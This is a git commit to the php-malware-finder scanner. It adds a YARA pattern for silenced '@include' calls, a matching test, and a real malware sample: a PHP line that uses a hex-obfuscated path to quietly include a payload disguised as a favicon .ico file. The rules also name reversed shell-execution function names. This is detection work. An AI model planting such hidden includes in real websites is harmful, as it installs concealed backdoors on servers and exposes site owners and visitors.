summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--php-malware-finder/php.yar1
-rw-r--r--php-malware-finder/samples/real/include.php4
-rwxr-xr-xphp-malware-finder/tests.sh1
3 files changed, 6 insertions, 0 deletions
diff --git a/php-malware-finder/php.yar b/php-malware-finder/php.yar
index 143b192..6a93fe1 100644
--- a/php-malware-finder/php.yar
+++ b/php-malware-finder/php.yar
@@ -102,6 +102,7 @@ rule DodgyPhp
102 $double_var = /\${\s*\${/ 102 $double_var = /\${\s*\${/
103 $extract = /extract\s*\(\s*\$_(GET|POST|REQUEST|COOKIE|SERVER)/ 103 $extract = /extract\s*\(\s*\$_(GET|POST|REQUEST|COOKIE|SERVER)/
104 $reversed = /noitcnuf_etaerc|metsys|urhtssap|edulcni|etucexe_llehs/ nocase 104 $reversed = /noitcnuf_etaerc|metsys|urhtssap|edulcni|etucexe_llehs/ nocase
105 $silenced_include =/@\s*include\s*/ nocase
105 106
106 condition: 107 condition:
107 (any of them) and not IsWhitelisted 108 (any of them) and not IsWhitelisted
diff --git a/php-malware-finder/samples/real/include.php b/php-malware-finder/samples/real/include.php
new file mode 100644
index 0000000..58712f1
--- /dev/null
+++ b/php-malware-finder/samples/real/include.php
@@ -0,0 +1,4 @@
1<?php
2/*8a68d*/
3@include "\x2fh\x6fm\x65/\x77e\x62p\x6ce\x78x\x33/\x70u\x62l\x69c\x5fh\x74m\x6c/\x68i\x73-\x68e\x6d.\x6fr\x67/\x5f_\x4dA\x43O\x53X\x2fm\x6fd\x75l\x65s\x2fn\x6fd\x65/\x66a\x76i\x63o\x6e_\x31a\x33f\x384\x2ei\x63o";
4/*8a68d*/
diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh
index aa6cd33..f53097d 100755
--- a/php-malware-finder/tests.sh
+++ b/php-malware-finder/tests.sh
@@ -89,6 +89,7 @@ run_test real/exceptions.php '$eval_comment: eval/\*k\*/('
89run_test real/nano.php '$nano: $x\[f\](' 89run_test real/nano.php '$nano: $x\[f\]('
90run_test real/ninja.php '$nano: $x\[0\](' 90run_test real/ninja.php '$nano: $x\[0\]('
91run_test real/ninja.php '$ninja: base64_decode(substr(getallheaders' 91run_test real/ninja.php '$ninja: base64_decode(substr(getallheaders'
92run_test real/include.php ':$silenced_include: @include'
92 93
93run_test undetected/smart.php '0x6:$extract:' 94run_test undetected/smart.php '0x6:$extract:'
94 95